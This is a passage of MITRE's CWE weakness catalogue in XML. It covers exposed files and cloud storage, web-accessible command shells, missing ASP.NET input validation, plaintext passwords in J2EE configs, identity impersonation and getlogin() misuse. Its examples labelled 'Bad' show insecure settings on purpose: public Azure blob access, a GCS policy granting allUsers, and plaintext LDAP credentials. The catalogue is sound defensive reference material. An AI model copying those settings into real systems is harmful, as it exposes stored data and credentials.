            <Related_Weakness Nature="ChildOf" CWE_ID="285" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
            <Technology Class="Cloud Computing" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
	    <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>System Configuration</Phase>
               <Phase>Operation</Phase>
               <Description>When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
           <Demonstrative_Example Demonstrative_Example_ID="DX-160">
             <Intro_Text>The following Azure command updates the settings for a storage account:</Intro_Text>
             <Example_Code Nature="Bad" Language="Shell">
               <xhtml:div>az storage account update --name &lt;storage-account&gt; --resource-group &lt;resource-group&gt; --allow-blob-public-access true</xhtml:div>
	     </Example_Code>
	     <Body_Text>However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.</Body_Text>
	     <Body_Text>The command could be modified to disable "Allow Blob Public Access" by setting it to false.</Body_Text>
             <Example_Code Nature="Good" Language="Shell">
               <xhtml:div>az storage account update --name &lt;storage-account&gt; --resource-group &lt;resource-group&gt; --allow-blob-public-access false</xhtml:div>
	     </Example_Code>
           </Demonstrative_Example>
		   <Demonstrative_Example Demonstrative_Example_ID="DX-161">
		   <Intro_Text>The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':</Intro_Text>
		   <Example_Code Nature="Informative" Language="Shell">
			 <xhtml:div>
			   gsutil iam get gs://BUCKET_NAME<xhtml:br/>
			 </xhtml:div>
		   </Example_Code>
		   <Body_Text>Suppose the command returns the following result:</Body_Text>
		   <Example_Code Nature="bad" Language="JSON">
		     {<xhtml:br/>
		     <xhtml:div style="margin-left:1em;">
		       "bindings":[{<xhtml:br/>
		       <xhtml:div style="margin-left:1em;">
			 "members":[<xhtml:br/>
			 <xhtml:div style="margin-left:1em;">
			   "projectEditor: PROJECT-ID",<xhtml:br/>
			   "projectOwner: PROJECT-ID"
			 </xhtml:div>
			 ],<xhtml:br/>
			 "role":"roles/storage.legacyBucketOwner"<xhtml:br/>
		       </xhtml:div>
		       },<xhtml:br/>
		       {<xhtml:br/>
		       <xhtml:div style="margin-left:1em;">
			 "members":[
			 <xhtml:div style="margin-left:1em;">
			   "allUsers",<xhtml:br/>
			   "projectViewer: PROJECT-ID"<xhtml:br/>
			   ],<xhtml:br/>
			   "role":"roles/storage.legacyBucketReader"<xhtml:br/>
			 </xhtml:div>
			 }<xhtml:br/>
		       </xhtml:div>
		       ]<xhtml:br/>
		     </xhtml:div>
		     }<xhtml:br/>
		   </Example_Code>
		   <Body_Text>This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.</Body_Text>
		   <Body_Text>The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:</Body_Text>
		   <Example_Code Nature="good" Language="Shell">
			 gsutil iam ch -d allUsers gs://BUCKET_NAME<xhtml:br/>
			 gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME<xhtml:br/>
		   </Example_Code>
		   </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Insecure Configuration Management</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO15-C</Entry_ID>
               <Entry_Name>Ensure that file operations are performed in a secure directory</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="639"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1307" Section="Section 3.7"/>
            <Reference External_Reference_ID="REF-1327" Section="Section 5.1"/>
         </References>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2010-09-09</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Errant Files or Directories Accessible</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="553" Name="Command Shell in Externally Accessible Directory" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="552" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Installation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Remove any Shells accessible under the web root folder and children directories.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="650"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Possible Command Shell (csh)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="554" Name="ASP.NET Misconfiguration: Not Using Input Validation Framework" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The ASP.NET application does not use an input validation framework.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="ASP.NET" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Note>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Phone number fields contain only valid characters in phone numbers</xhtml:li>
                        <xhtml:li>Boolean values are only "T" or "F"</xhtml:li>
                        <xhtml:li>Free-form strings are of a reasonable length and composition</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">ASP.NET Misconfiguration: Input Validation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="555" Name="J2EE Misconfiguration: Plaintext Password in Configuration File" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The J2EE application stores a plaintext password in a configuration file.</Description>
         <Extended_Description>Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="260" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not hardwire passwords into your software.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use industry standard libraries to encrypt passwords before storage in configuration files.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">J2EE Misconfiguration: Password in Configuration File</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="556" Name="ASP.NET Misconfiguration: Use of Identity Impersonation" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.</Description>
         <Extended_Description>The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="266" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use the least privilege principle.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">ASP.NET Misconfiguration: Identity Impersonation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="558" Name="Use of getlogin() in Multithreaded Application" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.</Description>
         <Extended_Description>The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="663" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
